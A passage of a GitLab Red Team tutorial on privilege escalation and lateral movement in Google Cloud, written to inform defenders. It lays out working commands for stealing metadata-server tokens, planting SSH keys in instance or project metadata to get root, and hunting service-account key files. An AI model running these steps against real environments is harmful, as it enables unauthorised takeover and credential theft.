Process","en-us/blog/vault-integration-process.yml","en-us/blog/vault-integration-process",{"_path":24962,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24963,"content":24969,"config":24975,"_id":24977,"_type":16,"title":24978,"_source":17,"_file":24979,"_stem":24980,"_extension":20},"/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform",{"title":24964,"description":24965,"ogTitle":24964,"ogDescription":24965,"noIndex":6,"ogImage":24966,"ogUrl":24967,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24967,"schema":24968},"Google Cloud privilege escalation & post-exploitation tactics","A Red Team exercise on exploiting design decisions on GCP.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672755/Blog/Hero%20Images/white-lightning-heating-mountain.jpg","https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2020-02-12\",\n      }",{"title":24970,"description":24965,"authors":24971,"heroImage":24966,"date":24972,"body":24973,"category":674,"tags":24974},"Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments",[2266],"2020-02-12","\n## Update\n\n_At GitLab we have an internal [Red Team](/handbook/security/threat-management/red-team/) that dedicates time looking at the services and business partners we use to deliver GitLab products and services. As a [Google Cloud customer,](/blog/moving-to-gcp/) we have an obvious interest in all the different ways that administrators can make devastating security related mistakes when configuring their environment. We also have a team goal of sharing our research and tooling when possible with the community. This blog post and our previous post, [Introducing Token Hunter, an open source tool for finding sensitive data in the vast, wide-open,](/blog/introducing-token-hunter/) are our attempts to share our knowledge with the broader security community - for our mutual benefit._\n\n_This post does not outline any new vulnerabilities in Google Cloud Platform but outlines ways that an attacker who has already gained an unprivileged foothold on a cloud instance may perform reconnaissance, privilege escalation and eventually complete compromise of an environment._\n\n## Introduction\n\nWe recently embarked on a journey to simulate malicious activity in Google Cloud Platform (GCP). The idea was to begin with the low-privilege compromise of a Linux virtual machine, and then attempt to escalate privileges and access sensitive data throughout the environment.\n\nThe problem? There just isn't a lot of information available about GCP written from an attacker's perspective. We set out to learn as much as we could about Google Cloud and how an attacker might work to abuse common design decisions. Now, we are sharing that information with you! I'll also be presenting this talk, [Plundering GCP – escalating privileges, moving laterally and stealing secrets in Google Cloud](https://www.bsidesmelbourne.com/2020-plundering-gcp.html), in March 2020 at BSides Melbourne.\n\nIn this tutorial, we will do a very deep-dive into manual post-exploitation tactics and techniques for GCP. The specific scenario we are addressing here is the compromise of a single Linux-based virtual machine running within the Compute Engine offering. The goal is to elevate local privileges to a root account, compromise other systems within the same Google Cloud [Project](https://cloud.google.com/storage/docs/projects), break out of that project into others, and even hop the fence over to G Suite if possible.\n\nWe'll also go into specific detail on how to interact with a slew of Google's cloud services to hunt for secrets and exfiltrate sensitive data.\n\nIf you're tasked with defending infrastructure in Google Cloud, this tutorial should give you a good idea of what an attacker may get up to and the types of activities you should be looking out for.\n\nThis blog also introduces several utilities targeting GCP environments:\n\n- [gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum): Generate targeted port scans for Compute Instances exposed to the internet.\n- [gcp_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_enum): Most of the enumeration commands in this blog, consolidated to a single script.\n- [gcp_misc](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc): Various tools for attacking GCP environments.\n\n*No shell? No problem! Most of these techniques can used with SSRF as well. Check out the [Leveraging SSRF](#leveraging-ssrf) appendix for more info.*\n\n## Basic background info\n\nGCP is a big beast with a ton of moving parts. Here is a bit of background on items that are most relevant to the breach of a Compute Instance.\n\n### Tools\n\n#### gcloud\n\nIt is likely that the box you land on will have the [GCP SDK tools](https://cloud.google.com/sdk/docs/) installed and configured. A quick way to verify that things are set up is to run the following command:\n\n```\n$ gcloud config list\n```\n\nIf properly configured, you should get some output detailing the current service account and project in use.\n\nThe [gcloud command set](https://cloud.google.com/sdk/gcloud/reference/) is pretty extensive, supports tab completion, and has excellent online and built-in documentation. You can also install it locally on your own machine and use it with credential data that you obtain.\n\n#### Cloud APIs\n\nThe `gcloud` command is really just a way of automating [Google Cloud API](https://cloud.google.com/apis/docs/overview) calls. However, you can also perform them manually. Understanding the API endpoints and functionality can be very helpful when you're operating with a very specific set of permissions, and trying to work out exactly what you can do.\n\nYou can see what the raw HTTP API call for any individual `gcloud` command is simply by appending `--log-http` to the command.\n\n#### Metadata endpoint\n\nEvery Compute Instance has access to a dedicated [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) via the IP address 169.254.169.254. You can identify it as a host file entry like the one below:\n\n```\n$ cat /etc/hosts\n[...]\n169.254.169.254 metadata.google.internal  # Added by Google\n```\n\nThis metadata server allows any processes running on the instance to query Google for information about the instance it runs on and the project it resides in. No authentication is required - default `curl` commands will suffice.\n\nFor example, the following command will return information specific to the Compute Instance it is run from.\n\n```\n$ curl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n```\n\n### Security concepts\n\nWhat you can actually do from within a compromised instance is the resultant combination of service accounts, access scopes, and IAM permissions. These are described below.\n\n#### Resource hierarchy\n\nGoogle Cloud uses a [Resource hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specfic attachment points for policies and permissions.\n\nAt a high level, it looks like this:\n\n```\nOrganization\n--> Folders\n  --> Projects\n    --> Resources\n```\n\nThe scenario this blog addresses is the compromise of a virtual machine (called a Compute Instance), which is a resource. This resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.\n\nWe will work to compromise as much as we can inside that project, and then eventually to branch out into other projects within the same organization. A full compromise of the organization itself would be great, but gaining access to confidential assets may be possible simply by exploring the resources in a single project.\n\n#### Service accounts\n\nVirtual machine instances are usually assigned a service account. Every GCP project has a [default service account](https://cloud.google.com/compute/docs/access/service-accounts#default_service_account), and this will be assigned to new Compute Instances unless otherwise specified. Administrators can choose to use either a custom account or no account at all. This service account can be used by any user or application on the machine to communicate with the Google APIs. You can run the following command to see what accounts are available to you:\n\n```\n$ gcloud auth list\n```\n\nDefault service accounts will look like one of the following:\n\n```\nPROJECT_NUMBER-compute@developer.gserviceaccount.com\nPROJECT_ID@appspot.gserviceaccount.com\n```\n\nMore savvy administrators will have configured a custom service account to use with the instance. This allows them to be more granular with permissions.\n\nA custom service account will look like this:\n\n```\nSERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com\n```\n\nIf `gcloud auth list` returns multiple accounts available, something interesting is going on. You should generally see only the service account. If there is more than one, you can cycle through each using `gcloud config set account [ACCOUNT]` while trying the various tasks in this blog.\n\n#### Access scopes\n\nThe service account on a GCP Compute Instance will use OAuth to communicate with the Google Cloud APIs. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the instance will have a [scope](https://oauth.net/2/scope/) limitation included. This defines what API endpoints it can authenticate to. It does NOT define the actual permissions.\n\nWhen using a custom service account, Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that access scopes are not used and to rely totally on IAM. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programatically.\n\nThere are three options when setting an access scope on a VM instance:\n- Allow default access\n- All full access to all cloud APIs\n- Set access for each API\n\nYou can see what scopes are assigned by querying the metadata URL. Here is an example from a VM with \"default\" access assigned:\n\n```\n$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \\\n    -H 'Metadata-Flavor:Google'\n\nhttps://www.googleapis.com/auth/devstorage.read_only\nhttps://www.googleapis.com/auth/logging.write\nhttps://www.googleapis.com/auth/monitoring.write\nhttps://www.googleapis.com/auth/servicecontrol\nhttps://www.googleapis.com/auth/service.management.readonly\nhttps://www.googleapis.com/auth/trace.append\n```\n\nThe most interesting thing in the default scope is `devstorage.read_only`. This grants read access to all storage buckets in the project. This can be devastating, which of course is great for us as an attacker.\n\nHere is what you'll see from an instance with no scope limitations:\n\n```\n$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'\nhttps://www.googleapis.com/auth/cloud-platform\n```\n\nThis `cloud-platform` scope is what we are really hoping for, as it will allow us to authenticate to any API function and leverage the full power of our assigned IAM permissions. It is also Google's recommendation as it forces administrators to choose only necessary permissions, and not to rely on access scopes as a barrier to an API endpoint.\n\nIt is possible to encounter some conflicts when using both IAM and access scopes. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance.\n\n#### Identify and access management (IAM)\n\nIAM permissions are used for fine-grained access control. There are [a lot](https://cloud.google.com/iam/docs/permissions-reference) of them. The permissions are bundled together using three types of [roles](https://cloud.google.com/iam/docs/understanding-roles):\n\n- Primitive roles: Owner, Editor, and Viewer. These are the old-school way of doing things. The default service account in every project is assigned the Editor role. This is insecure and we love it.\n- Predefined roles: These roles are managed by Google and are meant to be combinations of most-likely scenarios. One of our favorites is the `compute.instanceAdmin` role, as it allows for easy privilege escalation.\n- Custom roles: This allows admins to group their own set of granular permissions.\n\nAs of this writing, there are 2,574 fine-grained permissions in IAM. These individual permissions are bundled together into a role. A role is connected to a member (user or service account) in what Google calls a [binding](https://cloud.google.com/iam/docs/reference/rest/v1/Policy#binding). Finally, this binding is applied at some level of the GCP hiearchy via a [policy](https://cloud.google.com/iam/docs/reference/rest/v1/Policy).\n\nThis policy determines what actions are allowed - it is the intersection between accounts, permissions, resources, and (optionally) conditions.\n\nYou can try the following command to specifically enumerate roles assigned to your service account project-wide in the current project:\n\n```\n$ PROJECT=$(curl http://metadata.google.internal/computeMetadata/v1/project/project-id \\\n    -H \"Metadata-Flavor: Google\" -s)\n$ ACCOUNT=$(curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email \\\n    -H \"Metadata-Flavor: Google\" -s)\n$ gcloud projects get-iam-policy $PROJECT  \\\n    --flatten=\"bindings[].members\" \\\n    --format='table(bindings.role)' \\\n    --filter=\"bindings.members:$ACCOUNT\"\n```\n\nDon't worry too much if you get denied access to the command above. It's still possible to work out what you can do simply by trying to do it.\n\nMore generally, you can shorten the command to the following to get an idea of the roles assigned project-wide to all members.\n\n```\n$ gcloud projects get-iam-policy [PROJECT-ID]\n```\n\nOr to see the IAM policy [assigned to a single Compute Instance](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-iam-policy) you can try the following.\n\n```\n$ gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE]\n```\n\nThere are similar commands for various other APIs. Consult the documentation if you need one other than what is shown above.\n\n### Default credentials\n\n#### Default service account token\n\nThe metadata server available to a given instance will provide any user/process on that instance with an OAuth token that is automatically used as the default credentials when communicating with Google APIs via the `gcloud` command.\n\nYou can retrieve and inspect the token with the following curl command:\n\n```\n$ curl \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\" \\\n    -H \"Metadata-Flavor: Google\"\n```\n\nWhich will receive a response like the following:\n\n```\n{\n      \"access_token\":\"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA\",\n      \"expires_in\":3599,\n      \"token_type\":\"Bearer\"\n }\n```\n\nThis token is the combination of the service account and access scopes assigned to the Compute Instance. So, even though your service account may have every IAM privilege imaginable, this particular OAuth token might be limited in the APIs it can communicate with due to access scopes.\n\n#### Application default credentials\n\nAs an alternative to first pulling a token from the metadata server, Google also has a strategy called [Application Default Credentials](https://cloud.google.com/docs/authentication/production). When using one of Google's official GCP client libraries, the code will automatically go searching for credentials to use in a defined order.\n\nThe very first location it would check would be the [source code itself](https://cloud.google.com/docs/authentication/production#passing_the_path_to_the_service_account_key_in_code). Developers can choose to statically point to a service account key file.\n\nThe next is an environment variable called `GOOGLE_APPLICATION_CREDENTIALS`. This can be set to point to a service account key file. Look for the variable itself set in the context of a system account or for references to setting it in scripts and instance metadata.\n\nFinally, if neither of these are provided, the application will revert to using the default token provided by the metadata server as described in the section above.\n\nFinding the actual JSON file with the service account credentials is generally much more desirable than relying on the OAuth token on the metadata server. This is because the raw service account credentials can be activated without the burden of access scopes and without the short expiration period usually applied to the tokens.\n\n## Local privilege escalation\n\nThis section will provide some tips on quick wins for local privilege escalation. If they work right away, great! While getting root locally seems like a logical starting point, though, hacking in the real world is rarely this organized. You may find that you need to jump ahead and grab additional secrets from a later step before you can escalate with these methods.\n\nDon't feel discouraged if you can't get local root right away - keep reading and follow the path that naturally unfolds.\n\n### Follow the scripts!\n\nCompute Instances are there to do things. To do things in Google, they will use their service accounts. And to do things with those service accounts, they likely use scripts!\n\nOften, we'll find ourselves on a Compute Instance and fail to enumerate things like available storage buckets, crypto keys, other instances, etc., due to permission denied errors. IAM permissions are very granular, meaning you can grant permissions to individual resources without granting the permission to list what those resources are.\n\nA great hypothetical example of this is a Compute Instance that has permission to read/write backups to a storage bucket called `instance82736-long-term-xyz-archive-0332893`.\n\nRunning `gsutil ls` from the command line returns nothing, as the service account is lacking the `storage.buckets.list` IAM permission. However, if you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may find a complete filesystem backup, giving you clear-text access to data that your local Linux account lacks.\n\nBut how would you know to list the contents of that very-specific bucket name? While brute-forcing buckets is a good idea, there is no way you'd find that in a word list.\n\nBut, the instance is somehow backing up to it. Probably using a script!\n\nLook for references to the `gcloud` command in scripts within the instance's metadata, local filesystem, service unit files, etc. You may also find Python, Ruby, PHP, etc scripts using their own [GCP client libraries](https://cloud.google.com/apis/docs/cloud-client-libraries) that leverage the service account's permissions to get things done.\n\nScripts in general help you understand what the machine is meant to do and will help you in identifying ways to abuse that intended functionality.\n\n### Modifying the metadata\n\nIf you can modify the instance's metadata, there are numerous ways to escalate privileges locally. There are a few scenarios that can lead to a service account with this permission:\n\n*Default service account*\u003Cbr>\nWhen using the default service account, the web management console offers the following options for access scopes:\n\n- Allow default access (default)\n- Allow full access to all Cloud APIs\n- Set access for each API\n\nIf option 2 was selected, or option 3 while explicitly allowing access to the compute API, then this configuration is vulnerable to escalation.\n\n*Custom service account*\u003Cbr>\nWhen using a custom service account, one of the following IAM permissions is necessary to escalate privileges:\n\n- compute.instances.setMetadata (to affect a single instance)\n- compute.projects.setCommonInstanceMetadata (to affect all instances in the project)\n\nAlthough Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#associating_a_service_account_to_an_instance) not using access scopes for custom service accounts, it is still possible to do so. You'll need one of the following access scopes:\n\n- https://www.googleapis.com/auth/compute\n- https://www.googleapis.com/auth/cloud-platform\n\n#### Add SSH keys to custom metadata\n\nLinux systems on GCP will typically be running [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) scripts. One of these is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which periodically queries the instance metadata endpoint for changes to the authorized SSH public keys.\n\nIf a new public key is encountered, it will be processed and added to the local machine. Depending on the format of the key, it will either be added to the `~/.ssh/authorized_keys` file of an existing user or will create a new user with `sudo` rights.\n\nSo, if you can modify custom instance metadata with your service account, you can escalate to root on the local system by gaining SSH rights to a privileged account. If you can modify custom project metadata, you can escalate to root on any system in the current GCP project that is running the accounts daemon.\n\n##### Add SSH key to existing privileged user\n\nLet's start by adding our own key to an existing account, as that will probably make the least noise. You'll want to be careful not to wipe out any keys that already exist in metadata, as that may tip your target off.\n\nCheck the instance for existing SSH keys. Pick one of these users as they are likely to have sudo rights.\n\n```\n$ gcloud compute instances describe [INSTANCE] --zone [ZONE]\n```\n\nLook for a section like the following:\n\n```\n ...\n metadata:\n   fingerprint: QCZfVTIlKgs=\n   items:\n   ...\n   - key: ssh-keys\n     value: |-\n       alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice\n       bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob\n ...\n```\n\nNotice the slightly odd format of the public keys - the username is listed at the beginning (followed by a colon) and then again at the end. We'll need to match this format. Unlike normal SSH key operation, the username absolutely matters!\n\nSave the lines with usernames and keys in a new text file called `meta.txt`.\n\nLet's assume we are targeting the user `alice` from above. We'll generate a new key for ourselves like this:\n\n```\n$ ssh-keygen -t rsa -C \"alice\" -f ./key -P \"\" && cat ./key.pub\n```\n\nTake the output of the command above and use it to add a line to the `meta.txt` file you create above, ensuring to add `alice:` to the beggining of your new public key.\n\n`meta.txt` should now look something like this, including the existing keys and the new key you just generated:\n\n```\nalice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice\nbob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob\nalice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuOFTpM1Sx/vfvezJNY+bonAPhJGTRCwAwytXIcW6JoeX5NEJsvEVSAwB1scOSCEAMefl0FyIZ3ZtlcsQ++LpNszzErreckik3aR+7LsA2TCVBjdlPuxh4mvWBhsJAjYS7ojrEAtQsJ0mBSd20yHxZNuh7qqG0JTzJac7n8S5eDacFGWCxQwPnuINeGoacTQ+MWHlbsYbhxnumWRvRiEm7+WOg2vPgwVpMp4sgz0q5r7n/l7YClvh/qfVquQ6bFdpkVaZmkXoaO74Op2Sd7C+MBDITDNZPpXIlZOf4OLb alice\n```\n\nNow, you can re-write the SSH key metadata for your instance with the following command:\n\n```\n$ gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt\n```\n\nYou can now access a shell in the context of `alice` as follows:\n\n```\nlowpriv@instance:~$ ssh -i ./key alice@localhost\nalice@instance:~$ sudo id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n##### Create a new privileged user\n\nNo existing keys found when following the steps above? No one else interesting in `/etc/passwd` to target?\n\nYou can follow the same process as above, but just make up a new username. This user will be created automatically and given rights to `sudo`. Scripted, the process would look like this:\n\n```\n# define the new account username\nNEWUSER=\"definitelynotahacker\"\n\n# create a key\nssh-keygen -t rsa -C \"$NEWUSER\" -f ./key -P \"\"\n\n# create the input meta file\nNEWKEY=\"$(cat ./key.pub)\"\necho \"$NEWUSER:$NEWKEY\" > ./meta.txt\n\n# update the instance metadata\ngcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt\n\n# ssh to the new account\nssh -i ./key \"$NEWUSER\"@localhost\n```\n##### Grant sudo to existing session\nThis one is so easy, quick, and dirty that it feels wrong...\n\n```\n$ gcloud compute ssh [INSTANCE NAME]\n```\n\nThis will generate a new SSH key, add it to your existing user, and add your existing username to the `google-sudoers` group, and start a new SSH session. While it is quick and easy, it may end up making more changes to the target system than the previous methods.\n\nWe'll talk about this again for lateral movement, but it works perfectly fine for local privilege escalation as well.\n\n##### Using OS Login\n\n[OS Login](https://cloud.google.com/compute/docs/oslogin/) is an alternative to managing SSH keys. It links a Google user or service account to a Linux identity, relying on IAM permissions to grant or deny access to Compute Instances.\n\nOS Login is [enabled](https://cloud.google.com/compute/docs/instances/managing-instance-access#enable_oslogin) at the project or instance level using the metadata key of `enable-oslogin = TRUE`.\n\nOS Login with two-factor authentication is [enabled](https://cloud.google.com/compute/docs/oslogin/setup-two-factor-authentication) in the same manner with the metadata key of `enable-oslogin-2fa = TRUE`.\n\nThe following two IAM permissions control SSH access to instances with OS Login enabled. They can be applied at the project or instance level:\n\n- roles/compute.osLogin (no sudo)\n- roles/compute.osAdminLogin (has sudo)\n\nUnlike managing only with SSH keys, these permissions allow the administrator to control whether or not `sudo` is granted.\n\nIf you're lucky, your service account has these permissions. You can simply run the `gcloud compute ssh [INSTANCE]` command to [connect manually as the service account](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa_ssh_manual). Two-factor is only enforced when using user accounts, so that should not slow you down even if it is assigned as shown above.\n\nSimilar to using SSH keys from metadata, you can use this strategy to escalate privileges locally and/or to access other Compute Instances on the network.\n\n## Lateral movement\n\nYou've compromised one VM inside a project. Great! Now let's get some more...\n\nYou can try the following command to get a list of all instances in your current project:\n\n```\n$ gcloud compute instances list\n```\n\n### SSH'ing around\n\nYou can use the local privilege escalation tactics above to move around to other machines. Read through those sections for a detailed description of each method and the associated commands.\n\nWe can expand upon those a bit by [applying SSH keys at the project level](https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys#project-wide), granting you permission to SSH into a privileged account for any instance that has not explicitly chosen the \"Block project-wide SSH keys\" option.\n\nAfter you've identified the strategy for selecting or creating a new user account, you can use the following syntax.\n\n```\n$ gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt\n```\n\nIf you're really bold, you can also just type `gcloud compute ssh [INSTANCE]` to use your current username on other boxes.\n\n### Abusing networked services\n\n#### Some GCP networking tidbits\n\nCompute Instances are connected to networks called VPCs or [Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc). [GCP firewall](https://cloud.google.com/vpc/docs/firewalls) rules are defined at this network level but are applied individually to a Compute Instance. Every network, by default, has two [implied firewall rules](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules): allow outbound and deny inbound.\n\nEach GCP project is provided with a VPC called `default`, which applies the following rules to all instances:\n\n- default-allow-internal (allow all traffic from other instances on the `default` network)\n- default-allow-ssh (allow 22 from everywhere)\n- default-allow-rdp (allow 3389 from everywhere)\n- default-allow-icmp (allow ping from everywhere)\n\n#### Meet the neighbors\n\nFirewall rules may be more permissive for internal IP addresses. This is especially true for the default VPC, which permits all traffic between Compute Instances.\n\nYou can get a nice readable view of all the subnets in the current project with the following command:\n\n```\n$ gcloud compute networks subnets list\n```\n\nAnd an overview of all the internal/external IP addresses of the Compute Instances using the following:\n\n```\n$ gcloud compute instances list\n```\n\nIf you go crazy with nmap from a Compute Instance, Google will notice and will likely send an alert email to the project owner. This is more likely to happen if you are scanning public IP addresses outside of your current project. Tread carefully.\n\n#### Enumerating public ports\n\nPerhaps you've been unable to leverage your current access to move through the project internally, but you DO have read access to the compute API. It's worth enumerating all the instances with firewall ports open to the world - you might find an insecure application to breach and hope you land in a more powerful position.\n\nIn the section above, you've gathered a list of all the public IP addresses. You could run nmap against them all, but this may taken ages and could get your source IP blocked.\n\nWhen attacking from the internet, the default rules don't provide any quick wins on properly configured machines. It's worth checking for password authentication on SSH and weak passwords on RDP, of course, but that's a given.\n\nWhat we are really interested in is other firewall rules that have been intentionally applied to an instance. If we're lucky, we'll stumble over an insecure application, an admin interface with a default password, or anything else we can exploit.\n\n[Firewall rules](https://cloud.google.com/vpc/docs/firewalls) can be applied to instances via the following methods:\n\n- [Network tags](https://cloud.google.com/vpc/docs/add-remove-network-tags)\n- [Service accounts](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)\n- All instances within a VPC\n\nUnfortunately, there isn't a simple `gcloud` command to spit out all Compute Instances with open ports on the internet. You have to connect the dots between firewall rules, network tags, services accounts, and instances.\n\nWe've automated this completely using [this python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) which will export the following:\n\n- CSV file showing instance, public IP, allowed TCP, allowed UDP\n- nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0)\n- masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)\n\nFull documentation on that tool is availabe in the [README](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum/blob/master/README.md).\n\n## Cloud privilege escalation\n\nIn this section, we'll talk about ways to potentially increase our privileges within the cloud environment itself.\n\n### Organization-level IAM permissions\n\nMost of the commands in this blog focus on obtaining project-level data. However, it's important to know that permissions can be set at the highest level of \"Organization\" as well. If you can enumerate this info, this will give you an idea of which accounts may have access across all of the projects inside an org.\n\nThe following commands will list the policies set at this level:\n\n```\n# First, get the numeric organization ID\n$ gcloud organizations list\n\n# Then, enumerate the policies\n$ gcloud organizations get-iam-policy [ORG ID]\n```\n\nPermissions you see in this output will be applied to EVERY project. If you don't have access to any of the accounts listed, continue reading to the [Service Account Impersonation](#service-account-impersonation) section below.\n\n### Bypassing access scopes\n\nThere's nothing worse than having access to a powerful service account but being limited by the access scopes of your current OAuth token. But fret not! Just the existence of that powerful account introduces risks which we might still be able to abuse.\n\n#### Pop another box\n\nIt's possible that another box in the environment exists with less restrictive access scopes. If you can view the output of `gcloud compute instances list --quiet --format=json`, look for instances with either the specific scope you want or the `auth/cloud-platform` all-inclusive scope.\n\nAlso keep an eye out for instances that have the default service account assigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`).\n\n#### Find service account keys\n\nGoogle states very clearly [**\"Access scopes are not a security mechanism... they have no effect when making requests not authenticated through OAuth\"**](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam).\n\nSo, if we have a powerful service account but a limited OAuth token, we need to somehow authenticate to services without OAuth.\n\nThe easiest way to do this would be to stumble across a [service account key](https://cloud.google.com/iam/docs/creating-managing-service-account-keys) stored on the instance. These are RSA private keys that can be used to authenticate to the Google Cloud API and request a new OAuth token with no scope limitations.\n\nYou can tell which service accounts, if any, have had key files exported for them. This will let you know whether or not it's even worth hunting for them, and possibly give you some hints on where to look. The command below will help.\n\n```\n$ for i in $(gcloud iam service-accounts list --format=\"table[no-heading](email)\"); do\n    echo Looking for keys for $i:\n    gcloud iam service-accounts keys list --iam-account $i\ndone\n```\n\nThese files are not stored on a Compute Instance by default, so you'd have to be lucky to encounter them. When a service account key file is exported from the GCP console, the default name for the file is [project-id]-[portion-of-key-id].json. So, if your project name is `test-project` then you can search the filesystem for `test-project*.json` looking for this key file.\n\nThe contents of the file look something like this:\n\n```\n{\n\"type\": \"service_account\",\n\"project_id\": \"[PROJECT-ID]\",\n\"private_key_id\": \"[KEY-ID]\",\n\"private_key\": \"-----BEGIN PRIVATE KEY-----\\n[PRIVATE-KEY]\\n-----END PRIVATE KEY-----\\n\",\n\"client_email\": \"[SERVICE-ACCOUNT-EMAIL]\",\n\"client_id\": \"[CLIENT-ID]\",\n\"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n\"token_uri\": \"https://accounts.google.com/o/oauth2/token\",\n\"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n\"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/[SERVICE-ACCOUNT-EMAIL]\"\n}\n\n```\n\nOr, if generated from the CLI they will look like this:\n\n```\n{\n\"name\": \"projects/[PROJECT-ID]/serviceAccounts/[SERVICE-ACCOUNT-EMAIL]/keys/[KEY-ID]\",\n\"privateKeyType\": \"TYPE_GOOGLE_CREDENTIALS_FILE\",\n\"privateKeyData\": \"[PRIVATE-KEY]\",\n\"validAfterTime\": 